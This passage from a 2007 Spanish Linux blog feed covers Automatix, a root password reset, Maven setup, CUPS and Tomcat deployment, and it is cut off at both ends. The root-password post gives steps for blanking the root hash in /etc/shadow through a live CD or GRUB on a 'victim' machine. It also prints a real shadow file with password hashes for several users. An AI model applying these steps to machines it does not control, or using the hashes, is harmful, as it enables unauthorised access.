bold;"&gt;UV8ag4iLqDL77FnjsDrpn40D/iaN1dN5QWIbzK0d3QICH7KxYBfjCaqdH5FeskyO&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SvlPOLoc/g7Af5++hWILdfHLRfyiifoZTl4PPS5JAFXiLv2lVm7XlicwhgOUQvlC&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;mwY98QJt5mpJ3/jHQttcYC0pgp4O5zfWczLRl7E0kycbK3/+Blq4Di0Uy/j74rSU&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;G8AOA/9A0VeJYh2qHAdv60J7X2jGzQEKwSWlJwegAuLUaAHfTaza42gcRqJ9KlMI&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;g9Ffevqo+6903y8dwhbU6mFoM/Xis7nawzybuEGuErLXjKHdjwUf9GAR0bgRSqlE&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;nuci5DViinZdtK7z6nTAct6LbK8gobWq3f5bx+Qxfg3887rLFrQ1QXJuYXYgR2hv&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;c2ggKEF1dG9tYXRpeCBUZWFtIExlYWQpIDxncmV5cm9kQGdtYWlsLmNvbT6IYAQT&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;EQIAIAUCRfiWLwIbAwYLCQgHAwIEFQIIAwQWAgMBAh4BAheAAAoJEMyRmjHiPF/D&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;x3AAoKQ5MBNV3W+IU9J/J9bMf/IIQTKxAJwPAmO+UszYTvEIQnzsDWBFaJvfPbkC&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;DQRF+JY6EAgAv3DaPvjJncXiDcdtF5OWj/gt01WCYt33jdw4nFUJAmWZkk/K/Bje&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;q4DxYfJH0oSjOiSHWmdeoEVl0twII3yTOaB3Kv1EAhX9elwIOeUea9ckC8qxtFV6&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;qJVCNmYhPpSWVi3i29uFbjm6syZIxQ91Ec+FLS8QP7uWT8YVBb5ORayc/r75oa0k&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Mz10I/t/SyMcsJQaTOAwGl6P974on/k7Z6Y++nLa1FbhYLLB1LgwIKoNpYngGNyb&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;DcemK1qbDskTTylB4dNTGq8ydeCycFWWFihshg5RErYmlhVbThkYTEQmnvOdAGaO&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;fJ6+KHYHV2R+ORqSoCGwhTCHB3p9cEwgOwADBQgAgaNrR39kIo/kvFwTr8zyNZKr&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;NUyRxXdBomo9aiK79tFBXf7Df+12DtWN/X2bxcUXsWaUbxD9/v3uBiPbMvDdxS4e&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;G23pvZ8C3GVbwt2zNWieIWJZTb57MKd/F94fKbRx9X+xrCDZSCgtzwdoS4g5X+lT&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;v6/dTd9Onu5DFZXxLdOBa+ZbYGXSwzOkzOtW+80Eb/Gne6Jeg8KKgpqao8xVC1Ge&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;H280D8ubH5nSOnayO03Ps5j96B41c3E2TjpdLISbxrN7XjCaY9K+HNaiI5P21qpx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;owYTXgfAey8Vs4w+klB08LBL5T91lj24Lq5M6WLnCNYm7TtJdgIbBRlGngMnX4hJ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;BBgRAgAJBQJF+JY6AhsMAAoJEMyRmjHiPF/DcvEAnRYxdvbQXzetwPF0duFYyaBx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;aRaIAJ4+xfLN+a0W5Lj4SzdRK1L9ITIvfQ==&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;=ez+A&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;-----END PGP PUBLIC KEY BLOCK-----&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Este archivo solo tiene permisos de lectura para root.&lt;br /&gt;&lt;br /&gt;Para arrancar automatix debemos ir al menù,  &lt;span style="font-weight: bold;"&gt;aplicaciones-&gt; herramientas del sistema -&gt; Automatix,&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Al arrancar automatix, primero se verifica la conexion a internet y luego abre la interfaz grafica de automatix en donde podremos chekar los programas que deseemos instalar.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;IMPORTANTE:&lt;/span&gt; Actualmente existe automatix para debian, hace un tiempo no existia, y se podia instalar el de ubuntu, sin embargo al arrancarlo lanza una excepcion de version. la cual se puede reparar siguiendo los pasos de la siguiente url:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.esdebian.org/article.php/20070823000145782"&gt;http://www.esdebian.org/article.php/20070823000145782&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos y suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-8784309186645734019?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/8784309186645734019/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=8784309186645734019' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/8784309186645734019'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/8784309186645734019'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2007/12/automatix-en-linux.html' title='Automatix en Linux'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-2855435074905643011</id><published>2007-11-28T16:52:00.000-03:00</published><updated>2007-11-30T10:09:44.381-03:00</updated><title type='text'>Password de root</title><content type='html'>Hola, a veces cuando trabajamos como superusuario o root en una maquina linux, corremos peligro de modificar la clave de root y no recordarla, sin embargo existe un metodo de poder modificar esta contraseña aun encriptada.&lt;br /&gt;&lt;br /&gt;Para eso necesitamos acceder a la maquina victima de alguna forma con los permisos para poder modificar la clave, lo podemos hacer desde un cd live o desde grub antes que botee el sistema (jjj), una vez que estamos con acceso al sistema debemos editar como root el archivo que contiene las claves, este se encuentra en &lt;span style="font-weight: bold;"&gt;/etc/shadow&lt;/span&gt; (Linux fedora, debian y otras distros), sin embargo esta forma de modificar la password solo es valida en fedora, ubuntu y no debian, ya que debian posee ademas un archivo oculto donde almacena las claves, siendo esta distro una de las mas seguras por sus niveles de seguridad, entonces (en fedora y ubuntu) editamos este fichero con el siguiente comando:&lt;br /&gt;&lt;br /&gt;[root@desarrollo ~]# &lt;span style="font-weight: bold;"&gt;nano /etc/shadow&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Este nos desplegara por consola el contenido del fichero que almacena las password de las cuentas de la maquina. Nos fijamos en la linea del fichero que comienza con &lt;span style="font-weight: bold;"&gt;root,&lt;/span&gt; este es mi fichero &lt;span style="font-weight: bold;"&gt;shadow:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;root:$1$yIuxswB6$QT86TruSszlFpfJajq0RL0:13845:0:99999:7:::&lt;br /&gt;bin:*:13550:0:99999:7:::&lt;br /&gt;daemon:*:13550:0:99999:7:::&lt;br /&gt;adm:*:13550:0:99999:7:::&lt;br /&gt;lp:*:13550:0:99999:7:::&lt;br /&gt;sync:*:13550:0:99999:7:::&lt;br /&gt;shutdown:*:13550:0:99999:7:::&lt;br /&gt;halt:*:13550:0:99999:7:::&lt;br /&gt;mail:*:13550:0:99999:7:::&lt;br /&gt;news:*:13550:0:99999:7:::&lt;br /&gt;uucp:*:13550:0:99999:7:::&lt;br /&gt;operator:*:13550:0:99999:7:::&lt;br /&gt;games:*:13550:0:99999:7:::&lt;br /&gt;gopher:*:13550:0:99999:7:::&lt;br /&gt;ftp:*:13550:0:99999:7:::&lt;br /&gt;nobody:*:13550:0:99999:7:::&lt;br /&gt;rpm:!!:13550:0:99999:7:::&lt;br /&gt;dbus:!!:13550:0:99999:7:::&lt;br /&gt;avahi:!!:13550:0:99999:7:::&lt;br /&gt;rpc:!!:13550:0:99999:7:::&lt;br /&gt;mailnull:!!:13550:0:99999:7:::&lt;br /&gt;smmsp:!!:13550:0:99999:7:::&lt;br /&gt;nscd:!!:13550:0:99999:7:::&lt;br /&gt;vcsa:!!:13550:0:99999:7:::&lt;br /&gt;haldaemon:!!:13550:0:99999:7:::&lt;br /&gt;rpcuser:!!:13550:0:99999:7:::&lt;br /&gt;nfsnobody:!!:13550:0:99999:7:::&lt;br /&gt;sshd:!!:13550:0:99999:7:::&lt;br /&gt;netdump:!!:13550:0:99999:7:::&lt;br /&gt;pcap:!!:13550:0:99999:7:::&lt;br /&gt;xfs:!!:13550:0:99999:7:::&lt;br /&gt;beaglidx:!!:13550:0:99999:7:::&lt;br /&gt;ntp:!!:13550:0:99999:7:::&lt;br /&gt;apache:!!:13550:0:99999:7:::&lt;br /&gt;hsqldb:!!:13550:0:99999:7:::&lt;br /&gt;gdm:!!:13550:0:99999:7:::&lt;br /&gt;eddie:SPazu6o8RY76c:13845:0:99999:7:::&lt;br /&gt;slackware:$1$XVVZPWKH$.7nfCZ2/5PNKQqjSGxhXd.:13622:0:99999:7:::&lt;br /&gt;acade03:LTZr79vyOL6tE:13845:0:99999:7:::&lt;br /&gt;lorena:UJz7VT.jDOS.U:13845:0:99999:7:::&lt;br /&gt;postgres:!!:13572::::::&lt;br /&gt;valeria:FTTFXp78Npc6E:13845:0:99999:7:::&lt;br /&gt;zidboy:OYUlNA.CKxvOA:13845:0:99999:7:::&lt;br /&gt;desa:$1$Pgrh1DCx$gd1Qyzqew2m/6tntaj9HD.:13787:0:99999:7:::&lt;br /&gt;mysql:!!:13708::::::&lt;br /&gt;csagredo:ECuYwNCZrBjU2:13845:::::13880:&lt;br /&gt;jiratomcat:NNawvQXlqK5og:13845::::::&lt;br /&gt;&lt;br /&gt;Vemos aqui que root esta en la primera linea del fichero, en sus casos debiera ser algo similar:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;root:$1$yIuxswB6$QT86TruSszlFpfJajq0RL0:13845:0:99999:7:::&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Tienes que borrar todo lo que haya entre los primeros y segundos dos puntos, ya que este string es la password encriptada. quedaría así:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;root::13845:0:99999:7:::&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ahora podrás bootear tranquilamente y entrar como root, ya que estará sin clave. Te recomiendo que le pongas una lo antes posible con el comando &lt;span style="font-weight: bold;"&gt;passwd&lt;/span&gt;, ya que es un gran riesgo de seguridad dejar el sistema sin password.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿Moralejas después de esto?&lt;/span&gt; Primero, comer pasas. Así no se te volverá a olvidar la clave. Segundo, ponerle clave a GRUB para que nadie pueda entrar en modo single, excepto tú.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Nota: &lt;/span&gt;Este artículo es para aquellos que se les olvidó la clave, no para que hackeen otros sistemas, ademas no les servira por que para eso deben saber mas de redes.&lt;br /&gt;&lt;br /&gt;Saludos y suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-2855435074905643011?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/2855435074905643011/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=2855435074905643011' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/2855435074905643011'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/2855435074905643011'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2007/11/password-de-root.html' title='Password de root'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-5073347192226878882</id><published>2007-11-28T11:40:00.000-03:00</published><updated>2007-11-28T12:31:16.018-03:00</updated><title type='text'>Maven en Linux</title><content type='html'>Hola, para los que conocemos &lt;span style="font-weight: bold;"&gt;ant,&lt;/span&gt; no nos costara comprender lo que es &lt;span style="font-weight: bold;"&gt;maven,&lt;/span&gt; ya que maven es la evolución de ant. mejora enormemente la automatización de proyectos Java.&lt;br /&gt;&lt;br /&gt;Maven es una herramienta para la gestión y automatización de proyectos Java. Estaba integrado dentro del proyecto Jakarta pero ahora es un proyecto de nivel superior de la Apache Software Foundation.&lt;br /&gt;&lt;br /&gt;En la versión 1, maven se basa en un fichero XML de configuración (project.xml) y una serie de plugins, esta herramienta puede compilar el proyecto Java, ejecutar los tests unitarios, generar paquetes (jars, wars, etc..) y generar una serie de reportes. La versión 2 usa también un fichero XML de configuración llamaddo pom.xml. Su funcionalidad es parecida a Apache Ant de manera que permite compilar, ejecutar test o realizar distribuciones pero con la diferencia que trata de forma automática las dependencias del proyecto. Una de las más importantes características es su actualización en línea mediante servidores con repositorios de librerias (jar's). Maven es capaz de descargar nuevas actualizaciones de las bibliotecas de las que depende el proyecto y de igual manera subir una nueva distribución a un repositorio de versiones, dejandola al acceso de todos los usuarios, de esta forma maven alimenta el desarrollo de proyectos Java y el Open source.&lt;br /&gt;&lt;br /&gt;Maven se ejecuta de forma nativa por la consola de Unix-Linux (debian en mi caso), tambien tiene plugin de &lt;a href="http://maven.apache.org/guides/mini/guide-ide-eclipse.html"&gt;integracion con Eclipse&lt;/a&gt; y Netbeans en su version 5.5. Para trabajar con maven primero debemos dirigirnos a su download en la siguiente URL: &lt;a href="http://maven.apache.org/index.html"&gt;http://maven.apache.org/index.html&lt;/a&gt;, actualemente esta disponible la version 2.0.8, sin embargo este articulo se basara en la instalación y trabajo con maven 1.0.2, he probado con la version 1.1 y 2.0.7 y no existe mayor diferencia, en maven 1.0.2 el comando es &lt;span style="font-weight: bold;"&gt;maven&lt;/span&gt; y en las posteriores es &lt;span style="font-weight: bold;"&gt;mvn.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Entonces, nos descargamos la version 1.0.2 de la siguiente url, que corresponde a los archivos de Maven:&lt;br /&gt;&lt;a href="http://archive.apache.org/dist/maven/binaries/"&gt;http://archive.apache.org/dist/maven/binaries/&lt;/a&gt; , una vez que tengamos el archivo &lt;span style="font-weight: bold;"&gt;maven-1.0.2.tar.gz &lt;/span&gt;en algún directorio donde lo dejamos, debemos copiar o mover el archivo al directorio &lt;span style="font-weight: bold;"&gt;/usr/local&lt;/span&gt; de nuestra maquina con el siguiente comando:&lt;br /&gt;&lt;br /&gt;slackware:/home/slack/Software# &lt;span style="font-weight: bold;"&gt;cp maven-1.0.2.tar.gz /usr/local/&lt;br /&gt;&lt;br /&gt;* cp para copiar y mv para mover&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Nos posicionamos en este directorio y descompimimos el archivo con el siguiente comando por consola:&lt;br /&gt;&lt;br /&gt;slackware:/usr/local# &lt;span style="font-weight: bold;"&gt;tar -xzvf maven-1.0.2.tar.gz&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Se generara un directorio con el nombre&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;maven-1.0.2, &lt;/span&gt;en&lt;span style="font-weight: bold;"&gt; /usr/local,&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Hacemos un ls -l para ver lo que contiene el directorio:&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;slackware:/usr/local# &lt;span style="font-weight: bold;"&gt;ls -l&lt;/span&gt;&lt;br /&gt;total 5972&lt;br /&gt;drwxrwsr-x  2 root  staff    4096 2007-09-15 08:40 bin&lt;br /&gt;drwxrwsr-x  2 root  staff    4096 2007-09-15 08:40 etc&lt;br /&gt;drwxrwsr-x  2 root  staff    4096 2007-09-15 08:40 games&lt;br /&gt;drwxrwsr-x  2 root  staff    4096 2007-09-15 08:40 include&lt;br /&gt;drwxrwsr-x  4 root  staff    4096 2007-09-30 21:54 lib&lt;br /&gt;lrwxrwxrwx  1 root  staff       9 2007-09-15 08:40 man -&gt; share/man&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;drwxr-xr-x  5 slack slack    4096 2004-12-07 08:13 maven-1.0.2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;-rw-r--r--  1 slack slack  6060686 2007-11-28 11:57 maven-1.0.2.tar.gz&lt;/span&gt;&lt;br /&gt;drwxr-xr-x  6 slack slack    4096 2007-10-18 15:29 maven-2.0.7&lt;br /&gt;drwxrwsr-x  2 root  staff    4096 2007-09-15 08:40 sbin&lt;br /&gt;drwxrwsr-x 13 root  staff    4096 2007-10-12 17:55 share&lt;br /&gt;drwxrwsr-x  2 root  staff    4096 2007-09-15 08:40 src&lt;br /&gt;&lt;br /&gt;Ya confirmado la creación de nuestro directorio maven en usr/local, debemos agregar al &lt;span style="font-weight: bold;"&gt;path&lt;/span&gt; de los ejecutables el nuevo comando de &lt;span style="font-weight: bold;"&gt;maven,&lt;/span&gt; esto es para poder ejecutar maven desde cualquier directorio de linux, ya que en ocaciones debemos ejecutar el comando desde los directorio de nuestras aplicaciones.&lt;br /&gt;&lt;br /&gt;Entonces ingresamos la siguiente linea de comandos:&lt;br /&gt;&lt;br /&gt;slackware:/usr/local# &lt;span style="font-weight: bold;"&gt;export PATH=/usr/local/maven-1.0.2/bin:$PATH&lt;br /&gt;&lt;br /&gt;OJO: si ejecutamos este comando como root, solo se podra ejecutar el comando maven como root, para ejecutar el comando como un usuario, debemos asegurarmos de los permisos, usuario y grupos del directorio &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;maven-1.0.2. En ubuntu podemos agregar este path editando el archivo profile, que esta en /etc/profile&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;supongamos que tenemos dos usuarios: &lt;span style="font-weight: bold;"&gt;slackware como root y slack&lt;/span&gt;,  para correr maven como  slackware(root) podemos hacerlo de la forma que explique arriba, si queremos ejecutar maven como slack (usuario) , debemos cambiar  de usuario y grupo  al directorio maven  y setar el path, de la siguiente forma:&lt;br /&gt;&lt;br /&gt;slackware:/usr/local# &lt;span style="font-weight: bold;"&gt;chown -R slack maven-1.0.2/&lt;/span&gt;&lt;br /&gt;slackware:/usr/local# &lt;span style="font-weight: bold;"&gt;chgrp -R slack maven-1.0.2/&lt;/span&gt;&lt;br /&gt;slackware:/usr/local#&lt;span style="font-weight: bold;"&gt; ls -la&lt;/span&gt;&lt;br /&gt;total 48&lt;br /&gt;drwxrwsr-x 12 root  root  4096 2007-11-27 14:01 .&lt;br /&gt;drwxr-xr-x 12 root  root  4096 2007-09-20 17:57 ..&lt;br /&gt;drwxrwsr-x  2 root  staff 4096 2007-09-15 08:40 bin&lt;br /&gt;drwxrwsr-x  2 root  staff 4096 2007-09-15 08:40 etc&lt;br /&gt;drwxrwsr-x  2 root  staff 4096 2007-09-15 08:40 games&lt;br /&gt;drwxrwsr-x  2 root  staff 4096 2007-09-15 08:40 include&lt;br /&gt;drwxrwsr-x  4 root  staff 4096 2007-09-30 21:54 lib&lt;br /&gt;lrwxrwxrwx  1 root  staff    9 2007-09-15 08:40 man -&gt; share/man&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;drwxr-xr-x  5 slack slack 4096 2004-12-07 08:13 maven-1.0.2&lt;/span&gt;&lt;br /&gt;drwxr-xr-x  6 slack slack 4096 2007-10-18 15:29 maven-2.0.7&lt;br /&gt;drwxrwsr-x  2 root  staff 4096 2007-09-15 08:40 sbin&lt;br /&gt;drwxrwsr-x 13 root  staff 4096 2007-10-12 17:55 share&lt;br /&gt;drwxrwsr-x  2 root  staff 4096 2007-09-15 08:40 src&lt;br /&gt;slackware:/usr/local# &lt;span style="font-weight: bold;"&gt;su slack&lt;/span&gt;&lt;br /&gt;slack@slackware:/usr/local$ &lt;span style="font-weight: bold;"&gt;export PATH=/usr/local/maven-1.0.2/bin:$PATH&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Si todo va ok, podriamos ejecutar un &lt;span style="font-weight: bold;"&gt;maven --version&lt;/span&gt; para asegurarmos que todo esta correcto, de la siguiente manera:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;slack@slackware:/usr/local$ &lt;span style="font-weight: bold;"&gt;maven --version&lt;/span&gt;&lt;br /&gt;__  __&lt;br /&gt;|  \/  |__ _Apache__ ___&lt;br /&gt;| |\/| / _` \ V / -_) ' \  ~ intelligent projects ~&lt;br /&gt;|_|  |_\__,_|\_/\___|_||_|  v. 1.0.2&lt;br /&gt;&lt;br /&gt;Y huala, ya tenemos maven instalado y configurado en nuestra maquina Linux (debian), ahora podremos ejecutar comandos maven para trabajar con proyectos Java. dejo algunos link de interes para conocer estos comandos.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://today.java.net/pub/a/today/2007/03/01/building-web-applications-with-maven-2.html"&gt;http://today.java.net/pub/a/today/2007/03/01/building-web-applications-with-maven-2.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://maven.apache.org/guides/getting-started/maven-in-five-minutes.html"&gt;http://maven.apache.org/guides/getting-started/maven-in-five-minutes.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos y suerte !!&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-5073347192226878882?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/5073347192226878882/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=5073347192226878882' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5073347192226878882'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5073347192226878882'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2007/11/maven-en-linux.html' title='Maven en Linux'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-3402029921827435987</id><published>2007-11-27T15:46:00.000-03:00</published><updated>2007-11-28T11:28:30.377-03:00</updated><title type='text'>Common Unix Printing System</title><content type='html'>Common Unix Printing System , CUPS, es un sistema de impresión modular para sistemas operativos de tipo Unix que permite que un computador actúe como servidor de impresión. Un computador que ejecuta CUPS actúa como un servidor que puede aceptar tareas de impresión desde otros computadores clientes, los procesa y los envía al servidor de impresión apropiado.&lt;br /&gt;&lt;br /&gt;CUPS está compuesto por una cola de impresión con su planificador, un sistema de filtros que convierte datos para imprimir hacia formatos que la impresora conozca, y un sistema de soporte que envía los datos al dispositivo de impresión. CUPS utiliza el protocolo IPP(Internet Printing Protocol) como base para el manejo de tareas de impresión y de colas de impresión. También provee los comandos tradicionales de línea de comandos de impresión de los sistemas Unix, junto a un soporte limitado de operaciones bajo el protocolo server message block (SMB, no es samba). Los controladores de dipositivos de impresión que CUPS provee pueden ser configurados utilizando archivos de texto con formato Descripción de impresoras PostScript (PPD, PostScript Printer Description en inglés) de Adobe Systems. Existen varias interfaces de usuario para diferentes plataformas para configurar CUPS; cuenta también con una interfaz como aplicación Web. CUPS es software libre y se distribuye bajo licencia GNU.&lt;br /&gt;&lt;br /&gt;Para acceder a CUPS lo puedes hacer desde tu browser accediendo a tu localhost:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;http://localhost:631/&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Esta url corresponde al servidor web de administración de impresoras de tu localhost en Linux (debian en mi caso), desde esta aplicación se puede configurar impresoras y trabajos de impresion.&lt;br /&gt;&lt;br /&gt;Saludos y suerte !!&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-3402029921827435987?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/3402029921827435987/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=3402029921827435987' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/3402029921827435987'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/3402029921827435987'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2007/11/common-unix-printing-system.html' title='Common Unix Printing System'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-3858573373054784094</id><published>2007-11-15T12:33:00.000-03:00</published><updated>2007-11-28T11:28:47.338-03:00</updated><title type='text'>Actualización de aplicaciones en Tomcat</title><content type='html'>Para un equipo de desarrollo lo más conveniente es generar versiones estables de las aplicaciones  y publicarlas en un servidor de desarrollo antes de pasarlas a producción, cuando se generan mantenciones en las aplicaciones web, y es necesario pasarlas a un servidor de desarrollo, en este caso Tomcat, se deben seguir los siguientes pasos.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1.-&lt;/span&gt; Generar el archivo &lt;span style="font-weight: bold;"&gt;.war&lt;/span&gt; en el ide local, sea &lt;span style="font-weight: bold;"&gt;eclipse&lt;/span&gt; o &lt;span style="font-weight: bold;"&gt;netbeans.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2.-&lt;/span&gt; Ingresar a la maquina de desarrollo, abrir un terminal unix(consola) o el cliente ssh en windows e ingresar la siguiente linea de comando para tener acceso a la maquina de desarrollo como usuario tomcat (previamente creado), en este caso se ocupa linux y su terminal.&lt;br /&gt;&lt;br /&gt;slackware:/home/slack# &lt;span style="font-weight: bold;"&gt;ssh tomcat@desarrollo.gruposiglo.cl&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Esta instrucción solicita acceso a la maquina de desarrollo por ssh, el cual nos pedira contraseña del usuario tomcat, en caso de modificación de la contraseña del usuario tomcat, esta debera ser notificada al grupo que efectúa estas tareas.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;tomcat@desarrollo.gruposiglo.cl's password: xxxxxxxx&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3.-&lt;/span&gt; Si el acceso es correcto el login nos dejara en la siguiente ruta del servidor, debemos posicionarnos en la ruta en la cual se encuentra el servidor Tomcat con la siguiente linea de comando:&lt;br /&gt;&lt;br /&gt;Last login: Thu Nov 15 10:07:58 2007 from slackware.groupsiglo.local&lt;br /&gt;[tomcat@desarrollo ~]$ &lt;span style="font-weight: bold;"&gt;cd /home/tomcat/tomcat55/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;4.-&lt;/span&gt; Con la precaución de que nadie este efectuando alguna tarea importante en el servicio de tomcat en desarrollo y aviso a los demás desarrolladores del grupo, debemos proceder a bajar el servicio Tomcat con la siguiente linea de comando:&lt;br /&gt;&lt;br /&gt;[tomcat@desarrollo tomcat55]$ &lt;span style="font-weight: bold;"&gt;./bin/shutdown.sh&lt;/span&gt;&lt;br /&gt;Using CATALINA_BASE: /home/tomcat/tomcat55&lt;br /&gt;Using CATALINA_HOME: /home/tomcat/tomcat55&lt;br /&gt;Using 